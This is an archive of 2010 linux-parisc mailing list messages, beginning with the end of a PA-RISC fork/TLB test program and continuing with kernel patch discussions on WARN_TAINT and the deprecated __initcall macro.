 */

int before = -1;

void* thread_run(void* arg) {
	static long status;
	int i;
        
	for (i = 1000000; i; i--)
	  if (*(volatile int *)0x4000001c != 0x407ff340)
	    asm ("iitlbp %r0,(%sr0,%r0)");
	return (void *)&status;
}

int pure_test() {
	int i, stat, x;
	int seen = 0;
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	before = *(volatile int *)0x4000001c;
	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			/* x is non-zero iff start thread has saved
			     `args' onto stack in r26 slot.  */
			x = *(volatile int *)0x4000001c;
			if (x == 0x407ff340)
			  {
				sleep (10);
			  }
			printf ("c 0x%x\n", x);
			fflush (stdout);
			return 0;
		default:
			break;
		
	}
	for (i = 1000000; i; i--)
	  {
	    if (!seen && *(volatile int *)0x4000001c == 0x407ff340)
	      seen = i;
	    if (seen && *(volatile int *)0x4000001c != 0x407ff340)
	      asm ("iitlbp %r0,(%sr0,%r0)");
	  }
	printf ("p 0x%x\n", *(int *)0x4000001c);
	if (pthread_join(thread, NULL))
	  perror ("join");
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}

--J/dobhs11T7y2rNN--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <andi@firstfloor.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed from TAINT_WARN
Date: Sun, 21 Mar 2010 20:10:43 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <87y6hlebik.fsf@basil.nowhere.org>
References: <1269126097.18314.111.camel@localhost>
	<1269126340.18314.115.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269198662 10942 80.91.229.12 (21 Mar 2010 19:11:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Mar 2010 19:11:02 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 21 20:10:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NtQXz-000454-6l
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Mar 2010 20:10:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752580Ab0CUTKu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Mar 2010 15:10:50 -0400
Original-Received: from one.firstfloor.org ([213.235.205.2]:55195 "EHLO
	one.firstfloor.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752509Ab0CUTKt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Mar 2010 15:10:49 -0400
Original-Received: from basil.firstfloor.org (p5B3CAD22.dip0.t-ipconnect.de [91.60.173.34])
	by one.firstfloor.org (Postfix) with ESMTP id 7FD6320C80B3;
	Sun, 21 Mar 2010 20:10:44 +0100 (CET)
Original-Received: by basil.firstfloor.org (Postfix, from userid 1000)
	id 8E6FFB19DA; Sun, 21 Mar 2010 20:10:43 +0100 (CET)
In-Reply-To: <1269126340.18314.115.camel@localhost> (Ben Hutchings's message of "Sat, 20 Mar 2010 23:05:40 +0000")
User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.3 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2694 gmane.linux.kernel.pci:8169 gmane.linux.kernel:964168 gmane.linux.ports.ppc64.devel:65450 gmane.linux.ports.sh.devel:7676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2694>

Ben Hutchings <ben@decadent.org.uk> writes:

> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the usual TAINT_WARN flag.  To allow for
> this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> flag as argument.
>
> Architectures that implement warnings using trap instructions instead
> of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> instead of __WARN().

I guess this should enforce that at least some taint flag is set?
(e.g. with a BUILD_BUG_ON)

-Andi

-- 
ak@linux.intel.com -- Speaking for myself only.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Sun, 21 Mar 2010 19:25:21 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <1269199521.18314.220.camel@localhost>
References: <1269126097.18314.111.camel@localhost>
	 <1269126340.18314.115.camel@localhost>  <87y6hlebik.fsf@basil.nowhere.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-aTG0+FBLZ4wAKesqS+5r"
X-Trace: dough.gmane.org 1269199584 13781 80.91.229.12 (21 Mar 2010 19:26:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Mar 2010 19:26:24 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Andi Kleen <andi@firstfloor.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 21 20:26:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NtQmt-0003Xo-LD
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Mar 2010 20:26:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752324Ab0CUTZr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Mar 2010 15:25:47 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:52052 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751386Ab0CUTZq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Mar 2010 15:25:46 -0400
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1NtQm3-0004yS-92; Sun, 21 Mar 2010 19:25:24 +0000
Original-Received: from ben by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1NtQm1-0006aK-Oi; Sun, 21 Mar 2010 19:25:21 +0000
In-Reply-To: <87y6hlebik.fsf@basil.nowhere.org>
X-Mailer: Evolution 2.28.3 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2695 gmane.linux.kernel.pci:8170 gmane.linux.kernel:964172 gmane.linux.ports.ppc64.devel:65451 gmane.linux.ports.sh.devel:7677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2695>


--=-aTG0+FBLZ4wAKesqS+5r
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sun, 2010-03-21 at 20:10 +0100, Andi Kleen wrote:
> Ben Hutchings <ben@decadent.org.uk> writes:
>=20
> > WARN() is used in some places to report firmware or hardware bugs that
> > are then worked-around.  These bugs do not affect the stability of the
> > kernel and should not set the usual TAINT_WARN flag.  To allow for
> > this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
> > flag as argument.
> >
> > Architectures that implement warnings using trap instructions instead
> > of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
> > instead of __WARN().
>=20
> I guess this should enforce that at least some taint flag is set?
> (e.g. with a BUILD_BUG_ON)

I'm being a bit sloppy with the wording here.  The TAINT_* macros are
actually bit numbers, not flags.  I could define a TAINT_MAX and add:

	BUILD_BUG_ON(taint < 0 || taint > TAINT_MAX);

Not sure that that's really worth doing though.

Ben.

--=20
Ben Hutchings
If you seem to know what you are doing, you'll be given more to do.

--=-aTG0+FBLZ4wAKesqS+5r
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIVAwUAS6Zym+e/yOyVhhEJAQIoiA/+PtVtlFPVa6k50dvxo4ESDxteBVZfWXQZ
eu2QKBNWV9+YyonKYEkmD+HykXOT9+c8P5KthlGXPKiwTAbR1BE8tkaKOvI6WGUo
kK00Ie8kyIel99IKPaOsxSHQmda6pybUv+shIlx5zd1Ep9b9kDNflILNVLB8Xb/G
py0gRfbX1Oru49CAk5vHnCV3PpnmhdG9U94Y+agCdqXRlFGUHcRDeCkbHXxvmdBJ
eSTXqrD9YXwuJCk/vuJc+Zz1oxaKGu5RCK3ztRBD2afF41NB1KOy+zCv/hTEPHLl
OoKeV9vQG8wVtFGe5nDXTy2tGnZZI9O3W/jssnfzcyDf/DPX164fiQwMHSDfP0lB
Vzqtl/9/xOi8jZ7pDLz/4QtZfMr8/25cmWzuzazuqQTHKa5Gvl1On0LEA9e7uXqN
5u9VVK0sYNS2+zyM+JveFarY7+PMpeOZL1xeudD/fBDau9tUHkRywwlFt3HzVKDn
wwIuNWASR2taYgEGUT0ULyaM6judARKvHpwg8ger3WFc1l1r3jb6CgGoyqxWuOCA
OA7x9706CSvkFZ8ZKufUDqbORXtQWaGltGcGEvhOW6VygnW5oSivaYQ5OFAVPZOg
eVqjJMaR7lwW8geSX8fA2ht/h+u6SbtQmyOPsTdGXQmwXZhsiD5zhNDSVYusWNFw
WTzNxKHMvxU=
=2sqx
-----END PGP SIGNATURE-----

--=-aTG0+FBLZ4wAKesqS+5r--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.comp.security.selinux,gmane.linux.ports.sparc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Cosmetic:Partially remove deprecated __initcall() and
 change to
Date: Sun, 21 Mar 2010 17:33:55 -0700
Organization: YPO4
Lines: 95
Approved: news@gmane.org
Message-ID: <4BA6BAF3.10603@xenotime.net>
References: <1269028291-9103-1-git-send-email-justinmattock@gmail.com> <4BA40115.2000509@xenotime.net> <4BA407AC.5030506@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269218047 5430 80.91.229.12 (22 Mar 2010 00:34:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Mar 2010 00:34:07 +0000 (UTC)
Cc: trivial@kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-audit@redhat.com, uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, selinux@tycho.nsa.gov,
	sparclinux@vger.kernel.org, x86@kernel.org, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "Justin P. Mattock" <justinmattock@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Mar 22 01:34:01 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1NtVaj-0000V2-0Q
	for glpi-linux-ia64-2@lo.gmane.org; Mon, 22 Mar 2010 01:34:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753670Ab0CVAd7 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sun, 21 Mar 2010 20:33:59 -0400
Original-Received: from xenotime.net ([72.52.64.118]:46458 "HELO xenotime.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753201Ab0CVAd6 (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Sun, 21 Mar 2010 20:33:58 -0400
Original-Received: from chimera.site ([71.245.98.113]) by xenotime.net for <linux-ia64@vger.kernel.org>; Sun, 21 Mar 2010 17:33:56 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Thunderbird/3.0
In-Reply-To: <4BA407AC.5030506@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21223 gmane.linux.ports.arm.kernel:76424 gmane.linux.redhat.security.audit:3394 gmane.linux.hardware.blackfin.kernel.devel:3792 gmane.linux.ports.mips.general:27347 gmane.linux.ports.parisc:2696 gmane.comp.security.selinux:13435 gmane.linux.ports.sparc:13054 gmane.linux.network:155391 gmane.linux.kernel:964304
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2696>

On 03/19/10 16:24, Justin P. Mattock wrote:
> On 03/19/2010 03:56 PM, Randy Dunlap wrote:
>> On 03/19/10 12:51, Justin P. Mattock wrote:
>>> After doing some things on a small issue,
>>> I noticed through web surfing, that there were patches
>>> submitted pertaining that __initcall is deprecated,
>>> and device_initcall should be used.
>>
>> Where was this discussion?  Do you have any pointers to it?
>>
> 
> The best info on this is scripts/checkpatch.pl
> line #2664
> 
> when I found this I just did a quick search of __initcall
> (which gives hits here and there)
> https://patchwork.kernel.org/patch/23344/
> (also found others at around 2008 or so)

Thanks.  IMO there should be something in the kernel source tree
that says explicitly that __initcall is deprecated and should be
replaced by using <whatever should be used>.  That's missing.


>> I don't see any mention of __initcall being deprecated in
>> Linus' mainline git tree, or in linux-next, or in mmotm.
>> Where are those patches?
>>
> 
> I don't know(I'm out of the social pipeline when it comes to Linux news,
> and updates)..
> like in the explanation part of the patch
> I was looking into something else, then ran into this,
> so as a break(from what I was originally doing)
> decided to do this and submit.
> 
>>
>>> So as a change of subject(since what I was looking at
>>> was frustrating me),I decided to grep the whole tree
>>> and make the change(partially).
>>>
>>> Currently I'm running this patch on my system, kernel compiles
>>> without any errors or warnings.(thought there would be a speed increase
>>> but didn't see much(if any)).
>>
>> No, __initcall(x) is just a shorthand version of typing
>> device_initcall(x).  They do the same thing.
>>
> 
> yep, that's what I found out as well(reason for the cosmetic
> in the subject line).
> 
>>> Biggest problem I have though is testing this on other hardware types
>>> (I only have a macbook,and an iMac).
>>> So please if you have the access to other arch/hardware types please
>>> test.
>>>
>>> Now what I mean by partially is the __initcall function is still
>>> there, so(if any) userspace apps/libs depend on this it's there
>>> so they dont break and/or any other subsystem, that needs time
>>> to make the changes.
>>
>> The only thing that might be affected is building out-of-tree drivers,
>> but those are easy to fix.
>>
> 
> alright..main concern is making sure things don't break in the
> kernel(even though things do).
> 
> I can have a go at the header files, submit
> then if it's something people agree they want to do, then they
> can go from there(if not it's fine as well).
> 
>>> Note:
>>> the remaining files that still have __initcall in them are:
>>> (according to grep)
>>>
>>> arch/um/include/shared/init.h
>>> include/linux/init.h
>>> scripts/checkpatch.pl
>>>
>>> either I or somebody else, can change this(although a bit
>>> concerned about breaking things).
>>>
>>> Signed-off-by: Justin P. Mattock<justinmattock@gmail.com>
>>> ---


-- 
~Randy
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin P. mattock" <justinmattock@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.comp.security.selinux,gmane.linux.ports.sparc,gmane.linux.network
Subject: Re: [PATCH] Cosmetic:Partially remove deprecated __initcall() and
 change to
Date: Sun, 21 Mar 2010 18:04:08 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <4BA6C208.6010000@gmail.com>
References: <1269028291-9103-1-git-send-email-justinmattock@gmail.com> <4BA40115.2000509@xenotime.net> <4BA407AC.5030506@gmail.com> <4BA6BAF3.10603@xenotime.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269219863 9787 80.91.229.12 (22 Mar 2010 01:04:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Mar 2010 01:04:23 +0000 (UTC)
Cc: trivial@kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-audit@redhat.com, uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, selinux@tycho.nsa.gov,
	sparclinux@vger.kernel.org, x86@kernel.org, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Randy Dunlap <rdunlap@xenotime.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 22 02:04:17 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NtW40-0002HX-M7
	for glk-linux-kernel-3@lo.gmane.org; Mon, 22 Mar 2010 02:04:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753753Ab0CVBEB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 21 Mar 2010 21:04:01 -0400
Original-Received: from mail-yx0-f182.google.com ([209.85.210.182]:62650 "EHLO
	mail-yx0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753508Ab0CVBD6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 21 Mar 2010 21:03:58 -0400
Original-Received: by yxe12 with SMTP id 12so1536735yxe.33
        for <multiple recipients>; Sun, 21 Mar 2010 18:03:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :content-type:content-transfer-encoding;
        bh=TCSZf5E5P183cdHnzF8ZAIoZzey6b/GHx5IIVby3KO0=;
        b=qZvN6bDuxyMTMCDzPuEWWMrs7I6AxCbUrquAR4HdOh1QI1eBj7IBLpw99bZ5g3G3LC
         KZnmIkrz4S5dwgN7L/6xchl7SIUxIjpmgRNlhei63VYHtWxyYOtvaDF3TqFIBqeZe1cd
         +F8pyYV40zZFwE3hV0/dexd91FJ3+UCr8JOWg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=lHmvoGfPDpjG7udp6eriKaMhsIOikHVoS5ryHr7O+4tZr+Zqu/noX7gT+n43Pdhdvh
         CcQgXWVsF85Oh2gvZsMtm2f8f9K92hQQYHr64VdcgxnZyWUj0ToPT9jAfxxUGq05cgtj
         Y+Z5i/Vs43b/+U8u+ssUji/bg81DvxMws7y20=
Original-Received: by 10.90.22.18 with SMTP id 18mr220143agv.77.1269219837553;
        Sun, 21 Mar 2010 18:03:57 -0700 (PDT)
Original-Received: from [10.0.0.96] (cpe-76-173-26-187.socal.res.rr.com [76.173.26.187])
        by mx.google.com with ESMTPS id 34sm1506366yxf.54.2010.03.21.18.03.55
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 21 Mar 2010 18:03:56 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091114 Lightning/1.0pre Thunderbird/3.0b4
In-Reply-To: <4BA6BAF3.10603@xenotime.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:964309 gmane.linux.ports.arm.kernel:76427 gmane.linux.redhat.security.audit:3395 gmane.linux.hardware.blackfin.kernel.devel:3793 gmane.linux.ports.ia64:21224 gmane.linux.ports.mips.general:27348 gmane.linux.ports.parisc:2697 gmane.comp.security.selinux:13436 gmane.linux.ports.sparc:13055 gmane.linux.network:155396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2697>

On 03/21/2010 05:33 PM, Randy Dunlap wrote:
> On 03/19/10 16:24, Justin P. Mattock wrote:
>> On 03/19/2010 03:56 PM, Randy Dunlap wrote:
>>> On 03/19/10 12:51, Justin P. Mattock wrote:
>>>> After doing some things on a small issue,
>>>> I noticed through web surfing, that there were patches
>>>> submitted pertaining that __initcall is deprecated,
>>>> and device_initcall should be used.
>>>
>>> Where was this discussion?  Do you have any pointers to it?
>>>
>>
>> The best info on this is scripts/checkpatch.pl
>> line #2664
>>
>> when I found this I just did a quick search of __initcall
>> (which gives hits here and there)
>> https://patchwork.kernel.org/patch/23344/
>> (also found others at around 2008 or so)
>
> Thanks.  IMO there should be something in the kernel source tree
> that says explicitly that __initcall is deprecated and should be
> replaced by using<whatever should be used>.  That's missing.
>

agree..

I should of searched the source tree for something
that says deprecated and so forth before doing anything(the 
checkpatch.pl was something I noticed down the line but doesn't say 
deprecated(say's explicitly).


>
>>> I don't see any mention of __initcall being deprecated in
>>> Linus' mainline git tree, or in linux-next, or in mmotm.
>>> Where are those patches?
>>>
>>
>> I don't know(I'm out of the social pipeline when it comes to Linux news,
>> and updates)..
>> like in the explanation part of the patch
>> I was looking into something else, then ran into this,
>> so as a break(from what I was originally doing)
>> decided to do this and submit.
>>
>>>
>>>> So as a change of subject(since what I was looking at
>>>> was frustrating me),I decided to grep the whole tree
>>>> and make the change(partially).
>>>>
>>>> Currently I'm running this patch on my system, kernel compiles
>>>> without any errors or warnings.(thought there would be a speed increase
>>>> but didn't see much(if any)).
>>>
>>> No, __initcall(x) is just a shorthand version of typing
>>> device_initcall(x).  They do the same thing.
>>>
>>
>> yep, that's what I found out as well(reason for the cosmetic
>> in the subject line).
>>
>>>> Biggest problem I have though is testing this on other hardware types
>>>> (I only have a macbook,and an iMac).
>>>> So please if you have the access to other arch/hardware types please
>>>> test.
>>>>
>>>> Now what I mean by partially is the __initcall function is still
>>>> there, so(if any) userspace apps/libs depend on this it's there
>>>> so they dont break and/or any other subsystem, that needs time
>>>> to make the changes.
>>>
>>> The only thing that might be affected is building out-of-tree drivers,
>>> but those are easy to fix.
>>>
>>
>> alright..main concern is making sure things don't break in the
>> kernel(even though things do).
>>
>> I can have a go at the header files, submit
>> then if it's something people agree they want to do, then they
>> can go from there(if not it's fine as well).
>>
>>>> Note:
>>>> the remaining files that still have __initcall in them are:
>>>> (according to grep)
>>>>
>>>> arch/um/include/shared/init.h
>>>> include/linux/init.h
>>>> scripts/checkpatch.pl
>>>>
>>>> either I or somebody else, can change this(although a bit
>>>> concerned about breaking things).
>>>>
>>>> Signed-off-by: Justin P. Mattock<justinmattock@gmail.com>
>>>> ---
>
>


In any case I'll leave this to you guys to decide.
The patch is in cyberspace now, so if/when this ever
is decided it's there(patch), then can be used then.

Justin P. Mattock


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 22 Mar 2010 10:26:17 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <119aab441003220726q68e2ff6cwfce105f5cf068ab8@mail.gmail.com>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca>
	 <20100307203230.CAC964E77@hiauly1.hia.nrc.ca>
	 <20100311032049.GA14312@hiauly1.hia.nrc.ca>
	 <20100311135418.GA22698@bombadil.infradead.org>
	 <20100311224044.GA18789@hiauly1.hia.nrc.ca>
	 <20100313020647.GA26384@hiauly1.hia.nrc.ca>
	 <20100315011024.GA7309@hiauly1.hia.nrc.ca>
	 <119aab441003160449n11cf5272qb9d15fa97625dd7d@mail.gmail.com>
	 <20100321181935.GA19525@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269267989 20750 80.91.229.12 (22 Mar 2010 14:26:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Mar 2010 14:26:29 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 22 15:26:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NtiaD-000121-5c
	for glpp-linux-parisc@lo.gmane.org; Mon, 22 Mar 2010 15:26:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754811Ab0CVO0U convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Mar 2010 10:26:20 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:52855 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754810Ab0CVO0T convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Mar 2010 10:26:19 -0400
Original-Received: by wyb38 with SMTP id 38so2495993wyb.19
        for <linux-parisc@vger.kernel.org>; Mon, 22 Mar 2010 07:26:18 -0700 (PDT)
